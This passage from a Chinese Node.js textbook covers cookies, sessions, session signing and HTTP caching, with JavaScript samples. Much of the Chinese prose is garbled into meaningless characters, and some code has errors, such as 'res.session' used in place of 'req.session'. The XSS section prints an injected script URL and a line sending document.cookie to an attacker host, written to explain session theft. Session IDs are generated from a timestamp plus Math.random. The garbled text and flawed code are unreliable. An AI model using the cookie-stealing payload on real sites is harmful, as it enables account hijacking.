HTTP_Parser会࠱੝有的ઐ஠ߙൿ解ౡ到req.headers上，ᥦ˥Cookie就是req.headers. 

cookie。಩૵᜺ᔴ中的定˦，CookieϘ的ಪय是key=value; key2=value2्य的，ݟ౦我们ᭉ要

Cookie，解ౡ它也Ӡ分ࠓ௛，ݟ下੝ᇧὙ 

var parseCookie = function (cookie) { 

  var cookies = {}; 

  if (!cookie) { 

    return cookies; 

  } 
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  var list = cookie.split(';'); 

  for (var i = 0; i < list.length; i++) { 

    var pair = list[i].split('='); 

    cookies[pair[0].trim()] = pair[1]; 

  } 

  return cookies; 

}; 

在ˉ务᤾ᣣ̼ᆉ੯ᛠ之前，我们࠱Фેᣑ在req对៵上，ᝧˉ务̼ᆉ可以ᄯ接᝺问，ݟ下੝ᇧὙ 

function (req, res) { 

  req.cookies = parseCookie(req.headers.cookie); 

  hande(req, res); 

} 

这样我们的ˉ务̼ᆉ就可以ᤈᛠѻறူܪ了，ݟ下੝ᇧὙ 

var handle = function (req, res) { 

  res.writeHead(200); 

  if (!req.cookies.isVisit) { 

    res.end('࣌ᆓڼᅃْઠڟ动࿿ᇴ'); 

  } else { 

    // TODO 

} 

}; 

͉ʹ请යઐ஠中，ݟ౦CookieϘ没有isVisit，都会收到þ欢ᤀኃ一次౎到动ྫྷچÿ这样的

ֽ应。这᧖ଡѢ一个问题，ݟ౦识Ѿ到用ਖ਼没有᝺问过我们的ቢཁ，ᥦ˥我们的ቢཁ是否应ឞն

ឃ客ਖ਼端已经᝺问过的ಕ识փ὞նᅻ客ਖ਼端的ழय是᤯过ֽ应ઐ஠实ဗ的，ֽ应的CookieϘ在

Set-Cookieߙൿ中。它的ಪय与请ය中的ಪय不ܹ相Վ，᜺ᔴ中对它的定˦ݟ下੝ᇧὙ 

Set-Cookie: name=value; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;  

Ф中name=value是ॸᮋ包դ的部分，Ф余部分ᄊ是可ᤤԟ数。这些可ᤤԟ数࠱会ॕֽเ᜾٧在后

续࠱Cookie发ᤞፋ服务٧端的ᛠ为。以下为˞要的几个ᤤᮉ。 
� pathᛪᇧ这个Cookieॕֽ到的ᡸफ़，ॆ 前᝺问的ᡸफ़不໗ᡛឞӛᦠ时，เ᜾٧Ѷ不发ᤞ这

个Cookie。 
� Expires֖Max-Age是用౎նᅻเ᜾٧这个Cookieʹ时过య的，ݟ౦不᝹Ꮅឞᤤᮉ，在关᫆

เ᜾٧时会ˎܾ૿这个Cookie。ݟ౦᝹Ꮅ了过య时ᫍ，เ᜾࠱٧会ઁCookie内ࠓ写入到ᇒ

ᄧ中并γߚ，下次੩开เ᜾٧Ιே有஌。Expires的Ϙ是一个UTCಪय的时ᫍߙቿ˘，ն

ᅻเ᜾٧൤Cookieʹ时࠱过య，Max-AgeѶնᅻเ᜾٧൤Cookie多ˣ后过య。前者一ᓉᏪ

言不ߚ在问题，ͭ是ݟ౦服务٧端的时֖ᫍ客ਖ਼端的时ᫍ不能ӛᦠ，这ሗ时ᫍ᝹Ꮅ就会ߚ

在ϟࢿ。为൤，Max-Ageնᅻเ᜾٧这్Cookie多ˣ之后过య，Ꮺ不是一个Хͳ的时ᫍཁ。 
� HttpOnlyնᅻเ᜾٧不Љ᝴᤯过脚本document.cookieԜఝஇ这个CookieϘ，事实上，᝹Ꮅ

HttpOnly之后，这个Ϙ在document.cookie中不可᜸。ͭ是在HTTP请ය的过程中，Ιཨ会

发ᤞ这个Cookie到服务٧端。 
� Secure。ॆ SecureϘ为true时，在HTTP中是௃஌的，在HTTPS中才有஌，ᛪᇧ创त的Cookie
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只能在HTTPSᤋ接中ᜁเ᜾٧͛ᤫ到服务٧端ᤈᛠ会ពᰍ᝼，ݟ౦是HTTPᤋ接Ѷ不会͛

ᤫឞ信ো，੝以很ᬱᜁቊե到。 
ᅻ᥊Cookie在ઐ஠ܿ中的Хͳಪय后，下᭦我们࠱Cookie序ѴӐ੆ቿՋ᜺ᔴ的ߙቿ˘，相关

̼ᆉݟ下Ὑ 

var serialize = function (name, val, opt) { 

  var pairs = [name + '=' + encode(val)]; 

  opt = opt || {}; 

 

  if (opt.maxAge) pairs.push('Max-Age=' + opt.maxAge); 

  if (opt.domain) pairs.push('Domain=' + opt.domain); 

  if (opt.path) pairs.push('Path=' + opt.path); 

  if (opt.expires) pairs.push('Expires=' + opt.expires.toUTCString()); 

  if (opt.httpOnly) pairs.push('HttpOnly'); 

  if (opt.secure) pairs.push('Secure'); 

 

  return pairs.join('; '); 

}; 

႔இ前஠的᝺问᤾ᣣ，我们就能ᣏౚڠѻற用ਖ਼的࿃খ了，ݟ下੝ᇧὙ 

var handle = function (req, res) { 

  if (!req.cookies.isVisit) { 

    res.setHeader('Set-Cookie', serialize('isVisit', '1')); 

    res.writeHead(200); 

    res.end('࣌ᆓڼᅃْઠڟ动࿿ᇴ'); 

  } else { 

    res.writeHead(200); 

    res.end('动࿿ᇴምْ࣌ᆓే'); 

  } 

}; 

客ਖ਼端收到这个ࣛSet-Cookie的ֽ应后，在之后的请ය时会在Cookieߙൿ中ࣛ上这个Ϙ。 
Ϙ३ซ਒的是，Set-Cookie是ᣖ࠵的，在ઐܿ中可能ߚ在多个ߙൿ。为൤res.setHeader的ኃ

̃个ԟ数可以是一个数组，ݟ下੝ᇧὙ 

res.setHeader('Set-Cookie', [serialize('foo', 'bar'), serialize('baz', 'val')]); 

这会在ઐ஠ܿ部中्੆ˏ్Set-CookieߙൿὙ 

Set-Cookie: foo=bar; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com; 

Set-Cookie: baz=val; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com; 

2. Cookieⱘᗻ㛑ᕅડ 
由于Cookie的实ဗ机҃，一ெ服务٧端Փ客ਖ਼端发ᤞ了᝹ᎵCookie的਒图，ᬓ᭣Cookie过య，

否Ѷ客ਖ਼端ඇ次请ය都会发ᤞ这些Cookie到服务٧端，一ெ᝹Ꮅ的Cookie过多，࠱会࠭ᒰઐܿᣖ

大。大多数的Cookie并不ᭉ要ඇ次都用上，因为这会ᤴ੆ࣛࠔ的部分ํ᠟。在YSlow的性能优Ӑ

᜺Ѷ中有这˥一్Ὑ 
z ђ࠴Cookie的ܷ࠴ 
ఝː᧗的情х是，ݟ౦在۪Տ的಩ᓫཁ᝹ᎵCookie，几˪੝有ߔᡸफ़下的请ය都会ࣛ上这些
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Cookie，这些Cookie在౼些情х下是有用的，ͭ是在有些情х下是߸К௃用的。Ф中以᭡খ஠͇

最为Цۋ，᭡খ஠͇的ˉ务定ͮ几˪不关心࿃খ，Cookie对它Ꮺ言几˪是௃用的，ͭ是一ெ有

Cookie᝹Ꮅ到相Վ۪下，它的请ය中就会ࣛ上Cookie。好在Cookie在᝹᝟时ᬌ定了它的۪，只有

۪Տ相Վ时才会发ᤞ。੝以YSlow中有Բ外一్᜺Ѷ用౎ᥗБCookieࣛ౎的性能ॕֽ。 
z ˝᭡খጷ͇΍ၸʿՎ的۪Տ 
ኤᏪ言之就是，为不ᭉ要Cookie的组͇૰个۪Տ可以实ဗђ࠵௃஌Cookie的͛ᣤ。੝以很多

网ቢ的᭡খ஠͇会有ྱѾ的۪Տ，使३ˉ务相关的Cookie不вॕֽ᭡খᠪ源。ॆཨ૰用ᮨ外的۪

Տࣛ౎的好ܪ不只这ཁ，还可以቉ᆠเ᜾٧下ᣑ线程数量的ᬌ҃，因为۪Տ不Վ，可以࠱下ᣑ线

程数Ꮱυ。ͭ是૰用ᮨ外۪Տ还是有一定的Ꭴཁ的，ᥦ就是۪࠱Տᣀ૰为IPᭉ要ᤈᛠDNSಉល，

多一个۪Տ就多一次DNSಉល。YSlow中有这样一్᜺ѶὙ 
z ђ࠵DNSಉល 
ᄹ起౎ђ࠵DNSಉល֖使用不Վ的۪Տ是у቉的ˏ్᜺Ѷ，ͭ 是好在ဗ今的เ᜾٧都会ᤈᛠ

DNSᎀߚ，以ҏि这个ҝ作用的ॕֽ。 
Cookieᬓ了可以᤯过后端ຊ加Өᝫܿ的ߙൿ᝹Ꮅ外，在前端เ᜾٧中也可以᤯过JavaScript

ᤈᛠνஇ，เ᜾࠱٧Cookie᤯过document.cookie఑᭚ፋ了JavaScript。前端在νஇCookie之后，后

续的网ፎ请ය中就会୅ࣛ上νஇ过后的Ϙ。 
目前，广ն֖在线统᝟ᮖ۪是最为ΙᠺCookie的，᤯过ࢥ入ኃʻழ的广ն੊者统᝟脚本，࠱

Cookie֖ॆ前页᭦ፄ定，这样就可以ಕ识用ਖ਼，३到用ਖ਼的เ᜾ᛠ为，广ն׷就可以定Փઅஉ广

ն了。ࡉ管这样的ᛠ为ᄹ起౎很可ঢ，ͭ是从Cookie的ԓူ౎ឬ，它只能做到ಕ识，Ꮺ不能做͉ʹ

Х有ᆠڭ性的事情。ݟ౦Ιཨઝ心自己ቢཁ的用ਖ਼ᜁ᝭े下ᛠ为，ᥦ就不要ે͉ʹኃʻழ的脚本。 

8.1.5� Session 

᤯过Cookie，เ᜾٧֖服务٧可以实ဗ࿃খ的᝭े。ͭ是Cookie并᭣是߸Ꮎ的，前஠ଡԢ的

ͳሤ过大就是一个௬ᗂ的问题，最为ː᧗的问题是Cookie可以在前后端ᤈᛠνஇ，因൤数૵就极

ൿᤈᛠѻற，ᥦ˥一个ߙ౦服务٧端有部分᤾ᣣ是಩૵Cookie中的isVIPݟ。௛ᜁ㇍இ֖͡ᤴࠓ

௾᤯用ਖ਼᤯过νஇCookie就可以ᣏౚ享ԩ到VIP服务了。፫上੝ᤗ，Cookie对于ஏਕ数૵的γએ

是௃஌的。 
为了解决Cookieஏਕ数૵的问题，Session应ᤁᏪ生。Session的数૵只γ႐在服务٧端，客ਖ਼

端௃กνஇ，这样数૵的߶К性३到一定的γᬩ，数૵也௃ᮋ在Өᝫ中ඇ次都ᜁ͛ᤫ。 
ᙉཨ在服务٧端ߚϱ数૵Ӡ分ழΦ，ͭ是࠱ʹݟඇ个客ਖ਼֖服务٧中的数૵一一对应起౎，

这᧖有࣡᜸的ˏሗ实ဗழय。 
z ኃʶሗὙ۲̅Cookie౎ࠃဗၸਖ਼֖数据的௡࠰ 
ᙉཨ࠱੝有数૵都உ在Cookie中不可Ԩ，ͭ是࠱ԯ̽உ在Cookie中还是可以的。因为ԯ̽一ெ

ᜁ㇍இ，就ˎܾ了௡࠰关系，也௃กνஇ服务٧端ߚ在的数૵了。并且Session的有஌య᤯࣡ᣖᆀ，

௾遍的᝹Ꮅ是20分᧾，ݟ౦在20分᧾内客ਖ਼端֖服务٧端没有̓̈产生，服务٧端就࠱数૵Ѻᬓ。

由于数૵过య时ᫍᣖᆀ，且在服务٧端ߚϱ数૵，因൤߶К性相对ᣖ高。ᥦ˥ԯ̽是ݟʹ产生的փ὞ 
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一ெ服务٧端ը用了Session，它࠱ጝ定一个᪃Ϙ作为Session的ԯ̽，这个Ϙ可以ᬣ਒ጝ定，

ඊݟConnect᳭认᧓用connect_uid，Tomcat会᧓用jsessionidኍ。一ெ服务٧೜ಉ到用ਖ਼请ය

Cookie中没有୅ࣛឞϘ，它就会为之生੆一个Ϙ，这个Ϙ是׬一且不᧗复的Ϙ，并᝹定ᡓ时时ᫍ。

以下为生੆session的̼ᆉὙ 

var sessions = {}; 

var key = 'session_id'; 

var EXPIRES = 20 * 60 * 1000; 

 

var generate = function () { 

  var session = {}; 

  session.id = (new Date()).getTime() + Math.random(); 

  session.cookie = { 

    expire: (new Date()).getTime() + EXPIRES 

  }; 

  sessions[session.id] = session; 

  return session; 

}; 

ඇ个请ය到౎时，೜ಉCookie中的ԯ̽与服务٧端的数૵，ݟ౦过య，就᧗新生੆，ݟ下 
੝ᇧὙ 

function (req, res) { 

  var id = req.cookies[key]; 

  if (!id) { 

    req.session = generate(); 

  } else { 

    var session = sessions[id]; 

    if (session) { 

      if (session.cookie.expire > (new Date()).getTime()) { 

        // ߸ႎג时时间 

        session.cookie.expire = (new Date()).getTime() + EXPIRES; 

        req.session = session; 

      } else { 

 ৹的数据ǈժ重ႎ生成أ时କǈ෸ג //        

        delete sessions[id]; 

        req.session = generate(); 

      } 

    } else { 

      // 如ࡕsession过೺ई੨ସ不对ǈ重ႎ生成session 

      req.session = generate(); 

    } 

  } 

  handle(req, res); 

} 

ॆཨ仅仅᧗新生੆Session还不ᡛ以߸੆ஞ个ึ程，还ᭉ要在ֽ应ፋ客ਖ਼端时᝹Ꮅ新的Ϙ，以

Φ下次请ය时能ܴ对应服务٧端的数૵。这᧖我们hackֽ应对៵的writeHead()ழก，在它的内部

ซ入᝹ᎵCookie的᤾ᣣ，ݟ下੝ᇧὙ 

var writeHead = res.writeHead; 

res.writeHead = function () { 
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  var cookies = res.getHeader('Set-Cookie'); 

  var session = serialize('Set-Cookie', req.session.id); 

  cookies = Array.isArray(cookies) ? cookies.concat(session) : [cookies, session]; 

  res.setHeader('Set-Cookie', cookies); 

  return writeHead.apply(this, arguments); 

}; 

至൤，session在前后端ᤈᛠ对应的过程就߸੆了。这样的ˉ务᤾ᣣ可以ѻற֖᝹Ꮅsession，

以൤౎፤એ用ਖ਼与服务٧端的关系，ݟ下੝ᇧὙ 

var handle = function (req, res) { 

  if (!req.session.isVisit) { 

    res.session.isVisit = true; 

    res.writeHead(200); 

    res.end('࣌ᆓڼᅃْઠڟ动࿿ᇴ'); 

  } else { 

    res.writeHead(200); 

    res.end('动࿿ᇴምْ࣌ᆓే'); 

  } 

}; 

这样在session中γߚ的数૵ඊᄯ接在Cookie中γߚ数૵要߶К३多。这ሗ实ဗழ಴Ιᠺ

Cookie实ဗ，Ꮺ且也是目前大多数Web应用的ழ಴。ݟ౦客ਖ਼端ሄൢ使用Cookie，这个ˆႌ上大

多数的网ቢ࠱௃ก实ဗᄅेኍୱ作。 
z ኃ̃ሗὙ᤯᣾ಉល字ቿ˘౎ࠃဗเ᜾٧ቪ֖నҫ٧ቪ数据的ࠪः 
它的ԓူ是೜ಉ请ය的ಉលߙቿ˘，ݟ౦没有Ϙ，会Ў生੆新的ࣛϘ的URL，ݟ下੝ᇧὙ 

var getURL = function (_url, key, value) { 

  var obj = url.parse(_url, true); 

  obj.query[key] = value; 

  return url.format(obj); 

}; 

ཨ后्੆᡹ᣀ，ᝧ客ਖ਼端᧗新发起请ය，ݟ下੝ᇧὙ 

function (req, res) { 

  var redirect = function (url) { 

    res.setHeader('Location', url); 

    res.writeHead(302); 

    res.end(); 

  }; 

 

  var id = req.query[key]; 

  if (!id) { 

    var session = generate(); 

    redirect(getURL(req.url, key, session.id)); 

  } else { 

    var session = sessions[id]; 

    if (session) { 

      if (session.cookie.expire > (new Date()).getTime()) { 

        // ߸ႎג时时间 

        session.cookie.expire = (new Date()).getTime() + EXPIRES; 

        req.session = session; 
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        handle(req, res); 

      } else { 

 ৹的数据ǈժ重ႎ生成أ时କǈ෸ג //        

        delete sessions[id]; 

        var session = generate(); 

        redirect(getURL(req.url, key, session.id)); 

      } 

    } else { 

      // 如ࡕsession过೺ई੨ସ不对ǈ重ႎ生成session 

      var session = generate(); 

      redirect(getURL(req.url, key, session.id)); 

    } 

  } 

} 

用ਖ਼᝺问http://localhost/pathname时，ݟ౦服务٧端发ဗಉលߙቿ˘中不ࣛsession_idԟ数，

就会࠱用ਖ਼᡹ᣀ到http://localhost/pathname?session_id=12344567这样一个ዜͪ的ݟ。ڦڠ౦เ᜾

٧收到302࿃খᆉ֖Locationઐܿ，就会᧗新发起新的请ය，ݟ下੝ᇧὙ 

< HTTP/1.1 302 Moved Temporarily 

< Location: /pathname?session_id=12344567 

这样，新的请ය到౎时就能᤯过Session的೜ಉ，ᬓ᭣内ߚ中的数૵过య。 
有的服务٧在客ਖ਼端ሄ用Cookie时，会᧓用这ሗழ಴实ဗᤝӐ。᤯过这ሗழ಴，௃ᮋ在ֽ应

时᝹ᎵCookie。ͭ是这ሗழ಴ࣛ౎的᮲ᬖᤉ大于۲于Cookie实ဗ的᮲ᬖ，因为只要ڦڠ࠱ಜ中的

发ፋԲ外一个人，ᥦ˥他就઴有ᡱ你相Վ的ᢵ͊。Cookie的ழ಴在૰了เ᜾٧੊者૰了ႂᑧڦڠ

之后௃ก生஌，相对ᣖ为߶К。 
还有一ሗඊᣖ有ᡙ的ူܪSession的ழय是ѽ用HTTP请යܿ中的ETag，Վ样对于ఝ૰เ᜾٧

֖ႂᑧ后也是௃஌的，Хͳ的ጹᓫ这᧖就不ࡘ开了，ਕТᡙ的朋友可以到网上ಉ阅相关ᠪ஧。 
1. SessionϢݙᄬ 
在上᭦的ᇧΒ̼ᆉ中，我们都࠱Session数૵ᄯ接ߚ在Ԫ量sessions中，它ͮ于内ߚ中。ཨᏪ

在ኃ5ብ的内ߚଌ҃部分，我们分ౡ了为̣˥Node会ߚ在内ߚᬌ҃，这᧖࠱数૵ߚஉ在内ߚ中࠱

会ࣛ౎极大的ᬤৣ，ݟ౦用ਖ਼ܘ多，我们很可能就接触到了内ߚᬌ҃的上ᬌ，并且内ߚ中的数૵

量加大，ॸཨ会ल起ٿڥۇ收的ᮟጒੲଠ，ल起性能问题。 
Բ一个问题Ѷ是我们可能为了ѽ用多ನCPUᏪը动多个ᤈ程，这个ጹᓫ在ኃ9ብ中有សጹଠ

ᤗ。用ਖ਼请ය的ᤋ接࠱可能ᬣ਒分ᦠ到Չ个ᤈ程中，Node的ᤈ程与ᤈ程之ᫍ是不能ᄯ接Р享内ߚ

的，用ਖ਼的Session可能会ल起ᩱ˼。 
为了解决性能问题֖Session数૵௃กᡴᤈ程Р享的问题，࣡ 用的ழ಴是࠱Sessionᬶ中Ӑ，࠱

ԓ本可能分஘在多个ᤈ程᧖的数૵，统一ᣀሧ到ᬶ中的数૵ߚϱ中。目前࣡用的工Х是Redis、

Memcachedኍ，᤯过这些高஌的ᎀߚ，Nodeᤈ程௃ᮋ在内部፤એ数૵对៵，ٿڥۇ收问题֖内ߚ

ᬌ҃问题都可以ᤀѪᏪ解，并且这些高ᤳᎀߚ᝹᝟的ᎀߚ过యን႔ఝՋူఝ高஌，ඊ在Node中自

ᛠ᝹᝟ᎀߚን႔ఝ好。 
᧓用ኃʻழᎀߚ౎ߚϱSessionल起的一个问题是会ल起网ፎ᝺问。ူ ᝶上౎ឬ᝺问网ፎ中的
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数૵要ඊ᝺问本ڠᇒᄧ中的数૵ᤳऎ要ਤ，因为๗Ԣ到ଦ੣、͛ᣤ以Ԣ网ፎጻ端自ᢵ的ᇒᄧI/O
ኍ，ࡉ管ݟ൤ͭΙཨ会᧓用这些高ᤳᎀߚ的ူ由有以下几్Ὑ 

� Node与ᎀߚ服务γ૆᫁ᤋ接，Ꮺ᭣ᮟጒ的ᆀᤋ接，ଦ੣࠭ᒰ的ढᤌ只ॕֽ初始Ӑ。 
� 高ᤳᎀߚᄯ接在内ߚ中ᤈᛠ数૵ߚϱ֖᝺问。 
� ᎀߚ服务᤯࣡与Nodeᤈ程ᤁᛠ在相Վ的机٧上੊者相Վ的机ੜ᧖，网ፎᤳऎԩ到的ॕֽ

ᣖ小。 
ͭ，中᝺问ਤߚ服务会ඊᄯ接在内ߚ管᧓用˃门的ᎀࡉ Фॕֽ小之Ԡ小，ࣛ ౎的好ܪԁᤉᤉ

大于ᄯ接在Node中γߚ数૵。 
为൤，一ெSessionᭉ要ऩ൥的ழयᖌԨ，̼ ᆉ就ᭉ要႔作ុஞ，Ԫ੆ऩ൥的ழय，ݟ下੝ᇧὙ 

function (req, res) { 
  var id = req.cookies[key]; 
  if (!id) { 
    req.session = generate(); 
    handle(req, res); 
  } else { 
    store.get(id, function (err, session) { 
      if (session) { 
        if (session.cookie.expire > (new Date()).getTime()) { 
          // ߸ႎג时时间 
          session.cookie.expire = (new Date()).getTime() + EXPIRES; 
          req.session = session; 
        } else { 
 ৹的数据ǈժ重ႎ生成أ时କǈ෸ג //          
          delete sessions[id]; 
          req.session = generate(); 
        } 
      } else { 
        // 如ࡕsession过೺ई੨ସ不对ǈ重ႎ生成session 
        req.session = generate(); 
      } 
      handle(req, res); 
    }); 
  } 
} 

在ֽ应时，࠱新的sessionγٿߚᎀߚ中，ݟ下੝ᇧὙ 

var writeHead = res.writeHead; 
res.writeHead = function () { 
  var cookies = res.getHeader('Set-Cookie'); 
  var session = serialize('Set-Cookie', req.session.id); 
  cookies = Array.isArray(cookies) ? cookies.concat(session) : [cookies, session]; 
  res.setHeader('Set-Cookie', cookies); 
  // ԍ存回缓存 
  store.save(req.session); 
  return writeHead.apply(this, arguments); 
}; 
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2. SessionϢᅝܼ 
从前஠可以ᅻ᥊，ࡉ管我们的数૵都உᎵ在后端了，使३它能γᬩ߶К，ͭ是௃᝶᤯过

Cookie，还是ಉលߙቿ˘的实ဗழय，Session的ԯ̽Ιཨγߚ在客ਖ਼端，这᧖会ߚ在ԯ̽ᜁᄦ用

的情х。ݟ౦Web应用的用ਖ਼Ӡ分多，自ᛠ᝹᝟的ᬣ机ኪก的一些ԯ̽Ϙ就有ူ᝶机会֐中有஌

的ԯ̽Ϙ。一ெԯ̽ᜁ͡ᤴ，服务٧端的数૵也可能ᫍ接ᜁѽ用。这᧖ଡ到的Session的߶К，就

˞要ૈݟʹᝧ这个ԯ̽ఝ加߶К。 
有一ሗ做ก是࠱这个ԯ̽᤯过ሒᨄ加ࠚᤈᛠኣՏ，使३͡ᤴ的੆本ᣖ高。客ਖ਼端ࡉ管可以͡

ᤴԯ̽Ϙ，ͭ是由于不ᅻ᥊ሒᨄϘ，ኣՏ信ো很ᬱ͡ᤴ。ݟ൤，我们只要在ֽ应时࠱ԯ֖̽ኣՏ

ᤈᛠ对ඊ，ݟ౦ኣՏ᭣ก，我们࠱服务٧端的数૵立Ԁ过యԀ可，ݟ下੝ᇧὙ 

// 将ኵ通过私ሃധ名ǈᆯ.分割原ኵ和ധ名 

var sign = function (val, secret) { 

  return val + '.' + crypto 

    .createHmac('sha256', secret) 

    .update(val) 

    .digest('base64') 

    .replace(/\=+$/, ''); 

}; 

在ֽ应时，᝹ᎵsessionϘ到Cookie中੊者᡹ᣀURL中，ݟ下੝ᇧὙ 

var val = sign(req.sessionID, secret); 

res.setHeader('Set-Cookie', cookie.serialize(key, val)); 

接收请ය时，೜ಉኣՏ，ݟ下੝ᇧὙ 

// ൽ出੨ସ部分进行ധ名ǈ对比用户提঍的ኵ 

var unsign = function (val, secret) { 

  var str = val.slice(0, val.lastIndexOf('.')); 

  return sign(str, secret) == val ? str : false; 

}; 

这样一౎，Ԁ使ஈѣ者ᅻ᥊ԯ̽中.Ձ前的Ϙ是服务٧端Session的IDϘ，只要不ᅻ᥊secret

ሒᨄ的Ϙ，就௃ก͡ᤴኣՏ信ো，以൤实ဗ对Session的γએ。ឞழกᜁConnect中͇ᫍಳ౵੝使

用，γએ好ሒᨄ，就是在γᬩ自己Web应用的߶К。 
ॆཨ，࠱ԯ̽ᤈᛠኣՏ是一个很好的解决ழ಴，ͭ 是ݟ౦ஈѣ者᤯过౼ሗழयᖌԨ了一个ᄽ

实的ԯ֖̽ኣՏ，他就能实ဗᢵ͊的͡ᜈ。一ሗழ಴是࠱客ਖ਼端的౼些࿗有信ো与ԯ̽作为ԓϘ，

ཨ后ኣՏ，这样ஈѣ者一ெ不在ԓ始的客ਖ਼端上ᤈᛠ᝺问，就会࠭ᒰኣՏܾ᠋。这些࿗有信ো包

括用ਖ਼IP֖用ਖ਼̼ူ（User Agent）。 
ͭ是ԓ始用ਖ਼与ஈѣ者之ᫍ也ߚ在上ᤗ信ো相Վ的可能性，۪ࡌݟ网ѢԯIP相Վ，相Վ的客

ਖ਼端信োኍ，不过ጩ入这些Ꮵᘼ能ܴଡ高߶К性。᤯࣡Ꮺ言，࠱ԯ̽ߚ在Cookie中不ࠓ௛ᜁ他人

ᖌԨ，ͭ是一些Ѿ的໣ว可能࠭ᒰ这个ԯ̽ᜁ෹໣，Цۋ的有XSS໣ว，下᭦ኤӬ̭ፀ一下ݟʹ

᤯过XSSૅ到用ਖ਼的ԯ̽，实ဗ͡ᤴ。 
z XSS໣ว 
XSS的Кሥ是ᡴቢ脚本ஈѣ（Cross Site Scripting，᤯࣡ኤሥ为XSS），᤯࣡都是由网ቢ开发者
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决定ג些脚本可以੯ᛠ在เ᜾٧端，不过XSS໣ว会ᝧѾ的脚本੯ᛠ。它的˞要्੆ԓ因多数是

用ਖ਼的ᣤ入没有ᜁᣀ˦，Ꮺᜁᄯ接੯ᛠ。 
下᭦是౼个网ቢ的前端脚本，它会࠱URL hash中的Ϙ᝹Ꮅ到页᭦中，以实ဗ౼ሗ᤾ᣣ，ݟ下

੝ᇧὙ 

$('#box').html(location.hash.replace('#', '')); 

ஈѣ者在发ဗ这᧖的໣ว后，ౝᤴ了这样的URLὙ 

http://a.com/pathname#<script src="http://b.com/c.js"></script> 

为了不ᝧԩࠎ者ᄯ接发ဗ这ൿURL中的࿶ᒍ，它可能会᤯过URLԌ᎕੆一个ᆀ网ݟ，ڦ下੝ᇧὙ 

http://t.cn/fasdlfj 

// ई者ምْ压໫ 

http://url.cn/fasdlfb 

ཨ后࠱最ጻ的ᆀ网ڦ发ፋ౼个ᄅे的在线用ਖ਼。这样一౎，这ൿhash中的脚本࠱会在这个用

ਖ਼的เ᜾٧中੯ᛠ，Ꮺ这ൿ脚本中的内ݟࠓ下੝ᇧὙ 

location.href = "http://c.com/?" + document.cookie; 

这ൿ̼ᆉ࠱ឞ用ਖ਼的Cookieଡ̓ፋ了c.comቢཁ，这个ቢཁ就是ஈѣ者的服务٧，他也就能

ૅ到ឞ用ਖ਼的Sessionԯ̽。ཨ后他在客ਖ਼端中用这个ԯ̽͡ᤴCookie，从Ꮺ实ဗ了͡ᜈ用ਖ਼的ᢵ

 。ࠎ౦ឞ用ਖ਼是网ቢ管ူտ，就可能ᤴ੆极大的ӿݟ。͊
XSSᤴ੆的ӿࠎᤉᤉ不ൢ这些，这᧖不в过多̭ፀ。在这个಴Β中，ݟ౦ԯ̽中有用ਖ਼的客

ਖ਼端信ো的ኣՏ，Ԁ使ԯ̽ᜁ෹໣，ᬓ᭣ஈѣ者与用ਖ਼客ਖ਼端߸К相Վ，否Ѷ不能实ဗ͡ᤴ。 

8.1.6� 㓧ᄬ 

我们ᅻ᥊ᣃ͇的౵ౝ经Ԋ过一次C/Sഴय到B/Sഴय的໥Ԫ，在HTTP之上ౝत的应用，Ф客

ਖ਼端ᬓ了ඊ௾᤯ಷ᭦应用Хܫఝᣏ量的ӣጞ֖部Ꮇኍྱ性外，在ᡴࣰԻ、ᡴเ᜾٧、ᡴ᝹ܫ上也

Хܫ࿗ྱ优势。͛统客ਖ਼端在߶ᜈ后的应用过程中仅仅ᭉ要͛ᣤ数૵，Web应用还ᭉ要͛ᣤౝ੆

ႌ᭦的组͇（HTML、JavaScript、CSS஠͇ኍ）。这部分内ࠓ在大多数场景下并不经࣡Ԫఝ，ԁ

ᭉ要在ඇ次的应用中Փ客ਖ਼端͛ᤫ，ݟ౦不ᤈᛠူܪ，ᥦ˥它࠱ᤴ੆不ॸ要的ࣛํࠔ᠟。ݟ౦网

ፎᤳऎᣖࢿ，就ᭉ要ᔈ᠟ఝ多时ᫍ౎੩开页᭦，对于用ਖ਼的ͳᰍ࠱会ᤴ੆一定ॕֽ。因൤ᓫᄴ不

ॸ要的͛ᣤ，对用ਖ਼֖对服务ଡΘ者౎ឬ都有好ܪ。 
为了ଡ高性能，YSlow中也ଡ到几్关于ᎀߚ的᜺Ѷ。 
� ຊ加Expires ੊Cache-Control 到ઐ஠ܿ中。 
� ᦠᎵ ETags。 
� ᝧAjax 可ᎀߚ。 
这᧖我们ࡘ࠱开这几్᜺Ѷ的౎源。ݟʹᝧเ᜾٧ᎀߚ我们的᭡খᠪ源，这也是一个ᭉ要由

服务٧与เ᜾٧РՎӨ作߸੆的事情。RFC 2616᜺ᔴ对൤有一定的ଠᤗ，只有ᥕ९ጝ定，ஞ个ᎀ

机҃才能有஌त立。᤯࣡౎ឬ，POST、DELETE、PUT这ዜࣛᛠ为性的请යୱ作一ᓉ不做͉ʹᎀߚ
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 。图8-1੝ᇧݟ的ึ程ߚ只应用在GET请ය中。使用ᎀߚ大多数ᎀ，ߚ

 

图8-1 使用ᎀߚ的ึ程ᇧ਒图 

ኤӬ౎ᝮ，本ڠ没有஠͇时，เ᜾٧ॸཨ会请ය服务٧端的内ࠓ，并࠱这部分内ࠓஉᎵ在本

஠͇ڠ౦不能ᆷ定这͊本ݟ，஠͇ᤈᛠ೜ಉڠ对本࠱目े中。在ኃ̃次请ය时，它ߚ的౼个ᎀڠ

是否可以ᄯ接使用，它࠱会发起一次్͇请ය。੝៊్͇请ය，就是在௾᤯的GET请යઐ஠中，

ᬃࣛIf-Modified-Sinceߙൿ，ݟ下੝ᇧὙ 

If-Modified-Since: Sun, 03 Feb 2013 06:01:12 GMT 

它࠱ល问服务٧端是否有ఝ新的ྟ本，本ڠ஠͇的最后νஇ时ᫍ。ݟ౦服务٧端没有新的ྟ

本，只ᭉֽ应一个304࿃খᆉ，客ਖ਼端就使用本ྟڠ本。ݟ౦服务٧端有新的ྟ本，就࠱新的内

 下੝ᇧὙݟ本。̼ᆉྟڠ发ᤞፋ客ਖ਼端，客ਖ਼端உप本ࠓ

var handle = function (req, res) { 

  fs.stat(filename, function (err, stat) { 

    var lastModified = stat.mtime.toUTCString(); 

    if (lastModified === req.headers['if-modified-since']) { 

      res.writeHead(304, "Not Modified"); 

      res.end(); 

    } else { 

      fs.readFile(filename, function(err, file) { 

        var lastModified = stat.mtime.toUTCString(); 

        res.setHeader("Last-Modified", lastModified); 

        res.writeHead(200, "Ok"); 

        res.end(file); 

      }); 

    } 
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  }); 

